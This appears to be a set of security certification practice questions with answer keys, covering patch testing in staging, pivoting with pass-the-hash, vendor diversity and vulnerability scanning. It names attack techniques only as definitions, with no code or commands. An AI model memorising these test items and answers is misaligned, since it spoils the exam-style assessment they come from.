After the integrity of a patch has been verified, but before being deployed to production, it is important to:
test it in a staging environment.
When conducting a penetration test, a pivot is used to describe a scenario in which
the penetration tester uses pass-the-hash to gain access to a server via SMB, and then uses this server to SSH to another server.
An organization uses an antivirus scanner from Company A on its firewall, an email system antivirus scanner from Company B, and an endpoint antivirus scanner from Company C. This is an example of:
vendor diversity
A security administrator begins assessing a network with software that checks for available exploits against a known database, using both credentials and external scripts. A report will be compiled and used to confirm patching levels. This is an example of:
vulnerability scanning